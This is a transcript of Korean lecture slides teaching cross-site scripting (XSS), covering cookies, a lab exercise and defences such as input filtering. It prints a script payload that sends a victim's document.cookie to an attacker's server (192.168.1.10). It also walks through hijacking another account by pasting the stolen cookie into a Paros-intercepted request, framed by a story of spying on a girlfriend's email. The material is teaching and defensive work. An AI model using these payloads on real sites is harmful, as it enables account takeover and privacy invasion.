5장 XSS(cross site script)

Download Report

Transcript 5장 XSS(cross site script)

5장 XSS(cross site script)
1. XSS에 대한 이해
배경이야기
영희는 철수의 여자친구인데 요즘 들어 영희의 행동을 수상히 여긴
철수는 영희가 개똥이랑 좀 이상한 관계인 거 같다고 생각이 들어 영
희 몰래 영희의 메일을 훔쳐보고 싶어 했다(당연히 불법이다). 철수
는 철수의 절친한 친구인 아네군에게 XSS 공격을 이용하면 영희의
메일을 읽을 수 있다는 솔깃한 예기를 듣고 500원짜리 떡볶이를 아
네군에게 사주면서 XSS 공격 방법을 익히게 된다.
1. XSS에 대한 이해
배경이야기 (계속)
드디어 XSS 공격 방법을 습득한 철수는 영희에게 메일을 보낸다.
메일에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸
다. 영희는 아무런 의심을 하지 않고 철수한테 온 메일을 읽는다.
하지만 그 순간 숨겨서 보낸 악성 스크립트 코드는 영희의 쿠키 정
보는 철수에게 넘긴다. 철수는 영희로부터 받은 쿠키 값을 가지고
간단한 조작을 통해서 영희의 메일을 읽을 수 있었다.
1. XSS에 대한 이해
XSS를 이용한 공격의 기본 원리
1. XSS에 대한 이해
1. 쿠키
• 1994년 넷츠케이프에 의해 처음 사용된 기술
• 사용자가 인터넷 웹 사이트를 방문할 때 생기는
4KB 이하의 파일
• 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨
사용자와 웹 사이트 사이를 연결해주는 정보를 담
고 있음
1. XSS에 대한 이해:
쿠키가 사용되는 두 단계
1. 사용자가 웹사이트에 방문하면 웹사이트는 사용자의
컴퓨터에 쿠키를 생성한다.
• 예) 사용자가 www.wishfree.com에 접속하면
www.wishfree.com 사이트는 사용자의 브라우
저를 확인하는 ID 번호를 쿠키 파일에 넣어서 사
용자의 컴퓨터에 저장한다.
•
C:\Document and Settings\사용자이름
\Cookies에서 실제 여러분이 인터넷을 이용하면
서 생성되었던 쿠키들을 확인할 수 있다.
1. XSS에 대한 이해
사용자 컴퓨터에 저장된 쿠키 파일들
• 쿠키파일 형태: 사용자이름@접속한사이트
• 쿠키파일 내용: 저장한 사이트 도메인 이름, 구분 숫자 등
1. XSS에 대한 이해
쿠키가 사용되는 두 단계
2. 사용자가 웹 서버에 접속할 때 사용자 컴퓨터에 있는
쿠키를 웹 서버로 전송하는 단계다.
•예) 전에 방문했던 사이트에 다시 접속하면 웹
사이트는 사용자 컴퓨터에 저장된 쿠키를 통해
사용자의 여러 개인 정보를 수집할 수 있다.
•아이디와 패스워드를 저장하여 사용한 경우에
는 그 정보가 쿠키에 남아있기 때문에 또 다시
아이디와 패스워드를 입력하고 로그인하지 않아
도 되는 편리성 및 위험성
1. XSS에 대한 이해
쿠키가 사용되는 몇 가지 용도
• 사이트 개인화
• 장바구니 시스템
• 웹 사이트 이용 방식 추적
• 타겟 마케팅
1. XSS에 대한 이해
쿠키에 대한 오해들
• 쿠키가 바이러스를 전파한다?
• 쿠키는 사용자 컴퓨터에 피해를 입힌다?
• 특정 웹 사이트가 저장한 쿠키를 다른 웹
사이트에서도 읽어 들일 수 있다?
1. XSS에 대한 이해
XSS 공격을 통해 가져오는 주요 정보: 사용자가 웹 서
버로 전송하는 사용자의 고유 쿠키 값
•쿠키 내용은 웹 애플리케이션 개발자가 어떤 내용
을 쿠키에 넣을지 정함.
•일반적으로 기본적인 ASP와 PHP 같은 것은
ASPSESSIONID 값과 PHPSESSIONID 기본 값으
로 쿠키 값을 암호화하여 처리
• 많은 곳의 웹 메일 애플리케이션과 같은 자체 제작
된 웹 애플리케이션은 쿠키 값에 사용자의 비밀번호
나 사용자의 중요 정보가 담겨있는 경우도 종종 있
음.
XSS
XSS란 ‘Cross Site Scripting’의 약자로 줄여서
CSS라고도 부르나 또 다른 이름인 캐스케이딩
스타일 시트(Cascading Style Sheets)와 혼동
되어 일반적으로 XSS라고 불리게 되었다.
XSS는 타 사용자의 정보를 추출하기 위해 사용
되는 공격 기법이다. 간단히 예를 들면, 게시판
이나 검색 부분, 즉 사용자의 입력을 받아들이
는 부분에 스크립트 코드를 필터링하지 않음으
로써 공격자가 스크립트 코드를 실행할 수 있게
되는 취약점이다.
XSS의 원리
정상적인 문자열을 입력할 때의 과정
XSS의 원리
스크립트 코드 문자열을 입력할 때의 과정
2. XSS를 통한 공격 방법
실제 XSS 공격을 통해 다른 사용자의 쿠키 값을 이용해 다른 사용
자로 로그인 하는 과정
2. XSS를 통한 공격 방법
공격자가 XSS 코드를 게시판에 작성하는 화면
2. XSS를 통한 공격 방법
공격자가 작성한 XSS 코드
<script>url="http://192.168.1.10/GetCookie.
asp?cookie="+document.cookie;window.ope
n(url,width=0, height=0);</script>
위 코드는 게시판을 열람 시에 사용자의 쿠키
정보가 해커의 웹 서버(192.168.1.10)로 전송하
는 코드 이다.
2. XSS를 통한 공격 방법
사용자가 공격자가 작성한 글을 열람 시 공격자의 컴퓨터에 사용자
의 쿠키 값이 전송된 화면
실습 – XSS 공격을 통한 다른 사용자로 로그인하기
XSS 취약점을 이용하여 다른 사용자의 쿠키 값을 추출하여 다른
사용자로 로그인하는 과정을 실습해보자.
1. 테스트하기 위한 계정 2개를 생성(victim과 hacker 계정 생성)
실습 – XSS 공격을 통한 다른 사용자로 로그인하기
2. hacker계정으로 로그인한다.
3. 게시판에 다음과 같은 내용으로 글을 작성한다.
<script>document.write(document.cookie)</script>
실습 – XSS 공격을 통한 다른 사용자로 로그인하기
4. 게시판에 글을 작성한 후 다시 victim 계정으로 로그인하자.
실습 – XSS 공격을 통한 다른 사용자로 로그인하기
5. 로그인한 victim으로 hacker가 작성한 글을 열람하면 다음과 같
은 쿠키 값이 보인다.
실습 – XSS 공격을 통한 다른 사용자로 로그인하기
6. 쿠키 조작을 통한 사용자 변조
쿠키 값을 가지고 hacker 계정에서 victim 계정으로 로
그인 해보자. 로그인 페이지를 열고 hacker 계정의 아이
디와 패스워드를 입력해 놓자. 아직 로그인 버튼은 누르
지 않는다.
실습 – XSS 공격을 통한 다른 사용자로 로그인하기
6. 쿠키 조작을 통한 사용자 변조 (계속)
Paros를 실행한 후 클라이언트와 서버간의 모든 데이터를 가로채도
록 설정한다. 그 후 ‘로그인’ 버튼을 누르면 다음 그림과 같이 클라이
언트에서 서버로 HTTP 패킷을 전송하는 것을 확인할 수 있을 것이
다.
실습 – XSS 공격을 통한 다른 사용자로 로그인하기
6. 쿠키 조작을 통한 사용자 변조 (계속)
HTTP 헤더 중에서 ‘Cookie :’ 부분을 위에 victim 쿠키의 값으로 변조해보
자. 다음 그림은 ‘Cookie : ' 값을 victim의 값으로 변조한 화면이다(Paros
에 해당 부분을 붙여넣으면 된다).
실습 – XSS 공격을 통한 다른 사용자로 로그인하기
6. 쿠키 조작을 통한 사용자 변조 (계속)
쿠키 값을 변경한 후 재 전송하면 다음 그림과 같이 victim의 계정으
로 로그인 된 것을 볼 수 있다.
3. XSS에 대한 대응 방법
XSS 취약점은 대부분 웹 애플리케이션 개발자
가 사용자 입력을 받아들이는 부분에서 사용자
입력에 대해 어떠한 검증도 이루어지지 않기 때
문에 발생한다. 그럼 웹 애플리케이션 개발자나
사이트 관리자는 어떠한 방식으로 XSS 취약점
에 대해 대응해야 할까?
3. XSS에 대한 대응 방법
1. 중요한 정보는 쿠키에 저장하지 않아야 한다.
•앞의 실습 예제에서와 같이 사용자를 식별하기 위해 쿠키에
패스워드와 같은 민감한 정보는 담지 않아야 한다.
2. 스크립트 코드에 사용되는 특수 문자에 대한 이해와
정확한 필터링해야 한다.
•가장 효과적인 방법은 사용자가 입력 가능한 문자(예를 들
어, 알파벳, 숫자, 및 몇 개의 특수문자)만을 정해 놓고 그 문
자열이 아닌 경우는 모두 필터링한다.
• 이 방법은 추가적인 XSS 취약점에 사용되는 특수 문자를
애초부터 막을 수 있다는 장점이 있다.
XSS공격에 주로 사용되는 특수문자의 종류
특수문자
의미
<
태그의 시작
>
태그의 끝
&
캐릭터 entity 또는 CGI parameter의 구별자
“
속성 값
‘
속성 값
space
속성 값, URL의 끝
tab
URL의 끝
new line
URL의 끝
Non-ASCII
iso-8859-1일때, 128을 넘어가는 2byte코드들
%
HTTP escape sequence
"안의 !
Server side script
<script></script>안의 ;, (), {}, new line
3. XSS에 대한 대응 방법 (계속)
3. 게시판에서 HTML 포맷의 입력은 사용할 수 없도록
설정한다.
•최근에 만들어진 게시판들은 대부분 다양한 효과를 사용자들에게 제
공하기 위해 HTML 태그 기능을 제공하고 있지만 꼭 필요한 경우가 아
니라면 HTML 사용 기능을 불가능하게 해야 한다.
4. 스크립트 대체 및 무효화.
•javascript라고 들어오는 문자열을 무조건 ‘x-javascript’와 같이 대체
를 하여 스크립트 실행을 무효화시키는 방법도 있다.
5. 주기적인 점검
•자체적인 취약점 점검 및 보안 컨설팅 등 정기적이 점검을 통해 취약
점을 수시로 확인 및 제거한다.
3. XSS에 대한 대응 방법 (계속)
일반 사용자들은 어떻게 대처해야 할까?
•사실 일반 사용자: 일방적으로 XSS 취약점에 무방
비로 노출되어 있다. 자신이 매일 들어가는 메일이
나 자주 방문하는 동호회 게시판과 같은 곳에 누가
언제 어떻게 XSS 취약점을 이용하여 악성 스크립트
코드를 숨겨놓았을지 전혀 알 수 없기 때문이다.
•그렇다면 일반 사용자가 좀더 안전한 인터넷 서핑
을 위하여 XSS 취약점에 대해 대응할 수 있는 방안
은 무엇인지 알아보자.
3. XSS에 대한 대응 방법 (계속)
XSS에 대한 일반 사용자들의 대응 방안
1. 우선 메일이나 링크가 있으면 링크를 바로 클릭하여 이동하지 말
고 직접 URL에 주소를 입력하여 해당 사이트를 방문하는 방법이
있다. 이 방법은 어떻게 보면 상당히 불편한 방법이지만 URL 스
푸핑이나 XSS 공격에 대응하는 방안 중 하나다.
2. 인터넷 익스플로러의 최신 패치를 적용하여 인터넷 익스플로러
자체의 취약점으로 인한 공격에 미리 대응해야 한다.
3. XSS에 대한 대응 방법 (계속)
XSS에 대한 일반 사용자들의 대응 방안
3. 인터넷 옵션에서 개인정보 등급을 상향 조절하여 불필요한 쿠키 값을 전
송시키지 않는 방법도 있다. 가장 보안 설정을 높이면 쿠키 값이 필요한 사
이트에서 서비스를 사용하기 힘든 경우가 있기 때문에 보안 설정을 최상위
로 높이는 것을 권고하지는 않는다.